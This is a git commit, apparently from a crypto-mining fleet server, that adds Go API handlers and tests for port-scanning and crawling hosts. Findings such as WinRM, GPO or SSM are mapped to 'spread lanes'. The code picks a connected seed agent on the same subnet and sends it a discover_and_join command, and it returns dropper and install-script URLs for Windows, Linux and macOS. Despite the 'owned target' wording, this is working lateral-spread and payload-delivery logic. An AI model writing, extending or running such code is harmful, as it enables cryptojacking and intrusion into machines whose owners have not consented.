Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
AetherForge
2026-06-07 11:23:10 -07:00
parent 483eafa9dd
commit f3e5a9a07d
40 changed files with 3091 additions and 4 deletions

View File

@@ -0,0 +1,215 @@
package api
import (
"encoding/json"
"fmt"
"net/http"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
)
type spreadToHostRequest struct {
Host string `json:"host"`
Finding string `json:"finding"`
BuildID string `json:"build_id"`
Campaign string `json:"campaign"`
JoinLane string `json:"join_lane"`
}
// POST /api/v1/fleet/spread-to-host
// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop.
func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) {
var req spreadToHostRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Host = strings.TrimSpace(req.Host)
req.Finding = strings.TrimSpace(req.Finding)
req.BuildID = strings.TrimSpace(req.BuildID)
req.Campaign = strings.TrimSpace(req.Campaign)
req.JoinLane = strings.TrimSpace(req.JoinLane)
if req.Host == "" {
http.Error(w, "host required", http.StatusBadRequest)
return
}
matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil))
if !ok {
http.Error(w, "no deploy lane matched finding", http.StatusBadRequest)
return
}
if req.JoinLane != "" {
lane.Lane = normalizeJoinLane(req.JoinLane)
}
agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host)
if found && reachable {
writeJSON(w, map[string]interface{}{
"ok": true,
"host": req.Host,
"agent_id": agentID,
"agent_reachable": true,
"join_lane": lane.Lane,
"matched_service": matched,
"queued": false,
"recommended_command": "discover_and_join",
"operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.",
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
})
return
}
seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane)
commandArgs := map[string]interface{}{
"target_host": req.Host,
"join_lane": lane.Lane,
"matched_service": matched,
}
if req.BuildID != "" {
commandArgs["build_id"] = req.BuildID
}
if req.Campaign != "" {
commandArgs["campaign"] = req.Campaign
}
queued := false
var dispatchErr string
if seedOK && f.ws != nil {
if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil {
dispatchErr = err.Error()
} else {
queued = true
}
}
recommended := fmt.Sprintf(
"Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane",
firstNonEmptySpread(seedName, seedID, "best online agent"),
req.Host,
lane.Lane,
)
writeJSON(w, map[string]interface{}{
"ok": true,
"host": req.Host,
"finding": req.Finding,
"join_lane": lane.Lane,
"matched_service": matched,
"agent_reachable": false,
"agent_found": found,
"seed_agent_id": seedID,
"seed_agent_name": seedName,
"queued": queued,
"dispatch_error": dispatchErr,
"recommended_command": "discover_and_join",
"command_args": commandArgs,
"operator_note": recommended,
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
})
}
func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) {
if database == nil {
return "", false, false
}
agents, err := database.ListAgents()
if err != nil {
return "", false, false
}
host = strings.TrimSpace(strings.ToLower(host))
var match *models.Agent
for _, ag := range agents {
if ag == nil {
continue
}
ip := strings.TrimSpace(strings.ToLower(ag.IP))
if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) {
if match == nil || ag.Status == "online" {
match = ag
}
}
}
if match == nil {
return "", false, false
}
reachable = match.Status == "online"
if hub != nil {
reachable = hub.isAgentConnected(match.ID)
}
return match.ID, reachable, true
}
func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) {
if hub == nil {
return "", "", false
}
subnet := spreadrouter.SubnetFromIP(targetHost)
if subnet != "" {
in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane)
rt := spreadrouter.Build(in)
if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) {
return rec.SeedAgentID, rec.SeedAgentName, true
}
}
// Fallback: lowest-latency connected agent on same /24.
targetSubnet := spreadrouter.NormalizeSubnet(subnet)
var bestID, bestName string
bestLatency := int(^uint(0) >> 1)
hub.mu.RLock()
for id, conn := range hub.agents {
if conn == nil || hub.db == nil {
continue
}
ag, err := hub.db.GetAgent(id)
if err != nil || ag == nil {
continue
}
agSubnet := spreadrouter.SubnetFromIP(ag.IP)
if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet {
continue
}
lat := 9999
if ag.LatencyMs != nil {
lat = *ag.LatencyMs
}
if lat < bestLatency {
bestLatency = lat
bestID = id
bestName = ag.Name
}
}
hub.mu.RUnlock()
if bestID != "" {
return bestID, bestName, true
}
// Last resort: any connected agent.
hub.mu.RLock()
for id := range hub.agents {
if hub.agents[id] != nil {
bestID = id
if hub.db != nil {
if ag, err := hub.db.GetAgent(id); err == nil && ag != nil {
bestName = ag.Name
}
}
break
}
}
hub.mu.RUnlock()
return bestID, bestName, bestID != ""
}
func firstNonEmptySpread(parts ...string) string {
for _, p := range parts {
if strings.TrimSpace(p) != "" {
return p
}
}
return ""
}

View File

@@ -0,0 +1,62 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
)
func TestPostSpreadToHostRecommendsCommand(t *testing.T) {
dir := t.TempDir()
database, err := db.New(dir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
if err := database.UpsertAgent(&models.Agent{
ID: "seed-1", Name: "seed-node", IP: "10.1.2.10", Status: "online", Hostname: "seed",
}); err != nil {
t.Fatal(err)
}
hub := NewWSHub(database)
fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, dir)
body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
rec := httptest.NewRecorder()
fh.PostSpreadToHost(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var out map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
t.Fatal(err)
}
if out["recommended_command"] != "discover_and_join" {
t.Fatalf("recommended_command: %v", out["recommended_command"])
}
if out["join_lane"] != "winrm" {
t.Fatalf("join_lane: %v", out["join_lane"])
}
note, _ := out["operator_note"].(string)
if note == "" {
t.Fatal("expected operator_note")
}
}
func TestPostSpreadToHostRequiresHost(t *testing.T) {
fh := NewFleetHandler(nil, nil, nil, nil, nil, pool.Config{}, t.TempDir())
body, _ := json.Marshal(map[string]string{"finding": "WinRM"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
rec := httptest.NewRecorder()
fh.PostSpreadToHost(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("want 400 got %d", rec.Code)
}
}

View File

@@ -0,0 +1,235 @@
package api
import (
"net/http"
"strings"
"crypto-miner-server/internal/models"
)
// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses.
func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
if h == nil {
return
}
h.deployPlan = plan
h.publicURL = publicURL
h.allowlistFn = allowlist
}
type deployKitDropperURLs struct {
GetWindows string `json:"get_windows,omitempty"`
GetLinux string `json:"get_linux,omitempty"`
GetDarwin string `json:"get_darwin,omitempty"`
Get string `json:"get,omitempty"`
InstallPS1 string `json:"install_ps1,omitempty"`
InstallSh string `json:"install_sh,omitempty"`
InstallCmd string `json:"install_command,omitempty"`
}
type deployKitSpreadZIP struct {
Method string `json:"method"`
URL string `json:"url"`
Note string `json:"note,omitempty"`
}
type deployKitSpreadTemplate struct {
Template string `json:"template,omitempty"`
Method string `json:"method"`
URL string `json:"url"`
}
// GET /api/v1/recon/deploy-kit?host=&finding=
func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
host := strings.TrimSpace(r.URL.Query().Get("host"))
finding := strings.TrimSpace(r.URL.Query().Get("finding"))
if host == "" {
http.Error(w, "host query param required", http.StatusBadRequest)
return
}
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
if serverURL == "" {
serverURL = "http://127.0.0.1:8989"
}
matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
if !ok {
writeJSON(w, map[string]interface{}{
"ok": false,
"host": host,
"finding": finding,
"error": "no deploy lane matched finding",
})
return
}
agentID, agentReachable, agentFound := h.matchAgentForHost(host)
buildID, campaign := "", ""
if h.db != nil {
if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil {
buildID = b.ID
}
}
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
dropper := deployKitDropperURLs{
Get: serverURL + "/get" + querySuffix,
GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
GetLinux: serverURL + "/get?os=linux" + getQuerySuffix,
GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
InstallPS1: serverURL + "/install.ps1" + querySuffix,
InstallSh: serverURL + "/install.sh" + querySuffix,
InstallCmd: serverURL + "/install.command" + querySuffix,
}
resp := map[string]interface{}{
"ok": true,
"host": host,
"finding": finding,
"join_lane": lane.Lane,
"matched_service": matched,
"agent_reachable": agentReachable,
"agent_found": agentFound,
"dropper_urls": dropper,
"spread_kit_zip": deployKitSpreadZIP{
Method: "POST",
URL: "/api/v1/builder/spread-kit-export",
Note: "Body: { server_url, build_id?, campaign? }",
},
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread",
}
if agentID != "" {
resp["agent_id"] = agentID
}
if tpl := strings.TrimSpace(lane.Template); tpl != "" {
resp["spread_template"] = deployKitSpreadTemplate{
Template: tpl,
Method: "POST",
URL: "/api/v1/builder/spread-template-export",
}
}
if h.deployPlan != nil {
req := deployPlanRequest{
BuildID: buildID,
Campaign: campaign,
Platform: platformForReconHost(host, lane.Lane),
Services: []DeployServiceFinding{{Name: matched, Status: "running"}},
}
if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
resp["deploy_plan_template"] = plan
}
}
if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
if h.deployPlan != nil {
if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{
BuildID: buildID, Campaign: campaign, Platform: "linux",
}, serverURL); err == nil {
resp["ssm_bundle"] = bundle
}
}
}
writeJSON(w, resp)
}
func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
if h.allowlistFn != nil {
return NormalizeServiceDeployAllowlist(h.allowlistFn())
}
return NormalizeServiceDeployAllowlist(nil)
}
func resolveSpreadServerURL(h *SpreadHandler) string {
if h.publicURL != nil {
return h.publicURL()
}
return ""
}
func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
finding = strings.TrimSpace(finding)
allowlist = NormalizeServiceDeployAllowlist(allowlist)
if finding == "" {
return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
}
lower := strings.ToLower(finding)
if strings.Contains(lower, "ssm") {
return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
}
normalized := normalizeJoinLane(finding)
for _, entry := range allowlist {
if entry.Lane == normalized {
return finding, entry, true
}
}
if normalized != "" && normalized != finding {
return finding, ServiceDeployLane{Lane: normalized}, true
}
matched, lane, ok = PickDeployLane([]DeployServiceFinding{
{Name: finding, Status: "running"},
}, allowlist)
if ok {
return matched, lane, true
}
// Case-insensitive service alias (e.g. winrm → WinRM)
for name, entry := range allowlist {
if strings.EqualFold(name, finding) {
return name, entry, true
}
}
return "", ServiceDeployLane{}, false
}
func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) {
host = strings.TrimSpace(strings.ToLower(host))
if host == "" || h.db == nil {
return "", false, false
}
agents, err := h.db.ListAgents()
if err != nil {
return "", false, false
}
var match *models.Agent
for _, ag := range agents {
if ag == nil {
continue
}
ip := strings.TrimSpace(strings.ToLower(ag.IP))
name := strings.TrimSpace(strings.ToLower(ag.Name))
hostname := strings.TrimSpace(strings.ToLower(ag.Hostname))
if ip == host || name == host || hostname == host {
if match == nil || ag.Status == "online" {
match = ag
}
}
}
if match == nil {
return "", false, false
}
reachable = match.Status == "online"
if h.wsHub != nil {
reachable = h.wsHub.isAgentConnected(match.ID)
}
return match.ID, reachable, true
}
func platformForReconHost(host, lane string) string {
if strings.Contains(lane, "linux") {
return "linux"
}
// Heuristic: RFC1918 host with no agent — default windows for LAN spread.
_ = host
return "windows"
}
func urlQueryEscape(s string) string {
return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23")
}

View File

@@ -0,0 +1,110 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) {
t.Helper()
dir := t.TempDir()
root := t.TempDir()
writeSpreadTemplates(t, root)
artifact := filepath.Join(dir, "worker.exe")
if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil {
t.Fatal(err)
}
database, err := db.New(dir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
if err := database.InsertBuild(&models.BuildRecord{
ID: "build-recon", WorkerName: "recon-worker", Platform: "windows",
FilePath: artifact, Pinned: true,
}); err != nil {
t.Fatal(err)
}
deployH := NewDeployPlanHandler(database, dir, root,
func() string { return "https://deck.example" },
func() string { return "fleet-secret" },
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
)
spreadH := NewSpreadHandler(database, dir, root, nil)
spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane {
return NormalizeServiceDeployAllowlist(nil)
})
return spreadH, deployH
}
func TestGetDeployKitWinRM(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var out map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
t.Fatal(err)
}
if out["join_lane"] != "winrm" {
t.Fatalf("join_lane: %v", out["join_lane"])
}
dropper, ok := out["dropper_urls"].(map[string]interface{})
if !ok || dropper["install_ps1"] == "" {
t.Fatalf("dropper_urls: %v", out["dropper_urls"])
}
if out["spread_kit_zip"] == nil {
t.Fatal("expected spread_kit_zip")
}
if out["deploy_plan_template"] == nil {
t.Fatal("expected deploy_plan_template")
}
}
func TestGetDeployKitSSM(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var out map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
t.Fatal(err)
}
if out["join_lane"] != "ssm_document" {
t.Fatalf("join_lane: %v", out["join_lane"])
}
}
func TestGetDeployKitRequiresHost(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("want 400 got %d", rec.Code)
}
}
func TestResolveReconFinding(t *testing.T) {
matched, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
if !ok || lane.Lane != "gpo" {
t.Fatalf("gpsvc → gpo: matched=%q lane=%q ok=%v", matched, lane.Lane, ok)
}
_, lane, ok = resolveReconFinding("", NormalizeServiceDeployAllowlist(nil))
if !ok || lane.Lane != "bits_curl" {
t.Fatalf("empty finding default: %v", lane.Lane)
}
}

View File

@@ -0,0 +1,92 @@
package api
import (
"encoding/json"
"net/http"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/recon"
)
// ReconHandler serves owned-target browser deploy recon.
type ReconHandler struct {
db *dbpkg.Database
wsHub *WSHub
}
func NewReconHandler(database *dbpkg.Database, hub *WSHub) *ReconHandler {
return &ReconHandler{db: database, wsHub: hub}
}
// POST /api/v1/recon/scan
func (h *ReconHandler) Scan(w http.ResponseWriter, r *http.Request) {
var req recon.ScanRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Host = strings.TrimSpace(req.Host)
if req.Host == "" {
http.Error(w, "host required", http.StatusBadRequest)
return
}
report, err := recon.Scan(req)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
if h != nil && h.db != nil {
payload := map[string]interface{}{
"host": report.Host,
"open_ports": openPortList(report.Ports),
"ssrf_score": crawlSSRFScore(report.Crawl),
"recommendations": len(report.Recommendations),
"cms_fingerprints": crawlCMS(report.Crawl),
}
_ = (&OathLedgerBridge{DB: h.db, Hub: oathHub(h)}).Record(
AuthUsername(r),
dbpkg.OathReconScan,
"",
"",
dbpkg.OathOutcomeSuccess,
map[string]string{"host": report.Host},
payload,
)
}
writeJSON(w, report)
}
func oathHub(h *ReconHandler) *WSHub {
if h == nil {
return nil
}
return h.wsHub
}
func openPortList(ports []recon.PortResult) []int {
var out []int
for _, p := range ports {
if p.Open {
out = append(out, p.Port)
}
}
return out
}
func crawlSSRFScore(c *recon.CrawlReport) int {
if c == nil {
return 0
}
return c.SSRFScore
}
func crawlCMS(c *recon.CrawlReport) []string {
if c == nil {
return nil
}
return c.CMSFingerprints
}

View File

@@ -0,0 +1,67 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/recon"
)
func TestReconScanEndpoint(t *testing.T) {
recon.SetPortDialHook(func(host string, port int, _ time.Duration) bool {
return port == 80
})
t.Cleanup(func() { recon.SetPortDialHook(nil) })
recon.SetFetchPageHook(func(rawURL string) (int, string, error) {
return 200, `<html><form enctype="multipart/form-data"><input type="text" name="preview_url"><input type="file" name="payload"></form></html>`, nil
})
t.Cleanup(func() { recon.SetFetchPageHook(nil) })
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
h := NewReconHandler(database, nil)
body, _ := json.Marshal(map[string]interface{}{
"host": "recon.lab",
"port": 80,
"scheme": "http",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader(body))
w := httptest.NewRecorder()
h.Scan(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
}
var report recon.ScanReport
if err := json.Unmarshal(w.Body.Bytes(), &report); err != nil {
t.Fatal(err)
}
if report.Host != "recon.lab" || report.Crawl == nil || len(report.Recommendations) == 0 {
t.Fatalf("report=%+v", report)
}
rows, err := database.ListOathLedger(5)
if err != nil {
t.Fatal(err)
}
if len(rows) == 0 || rows[0].ActionType != db.OathReconScan {
t.Fatalf("oath rows=%+v", rows)
}
}
func TestReconScanRequiresHost(t *testing.T) {
h := NewReconHandler(nil, nil)
req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader([]byte(`{}`)))
w := httptest.NewRecorder()
h.Scan(w, req)
if w.Code != http.StatusBadRequest {
t.Fatalf("status=%d", w.Code)
}
}

View File

@@ -552,6 +552,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
vulnHandler := NewVulnHandler()
r.Get("/vuln/catalog", vulnHandler.Catalog)
reconHandler := NewReconHandler(database, wsHub)
r.Post("/recon/scan", reconHandler.Scan)
// Agents
r.Get("/agents", h.ListAgents)
r.Get("/agents/{id}", h.GetAgent)
@@ -595,6 +598,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice)
r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice)
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost)
}
if fleetAIHandler != nil {
r.Get("/ai/models", fleetAIHandler.GetModels)
@@ -665,6 +669,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)

View File

@@ -26,6 +26,7 @@ type SpreadHandler struct {
publicURL func() string
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
allowlistFn func() map[string]ServiceDeployLane
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex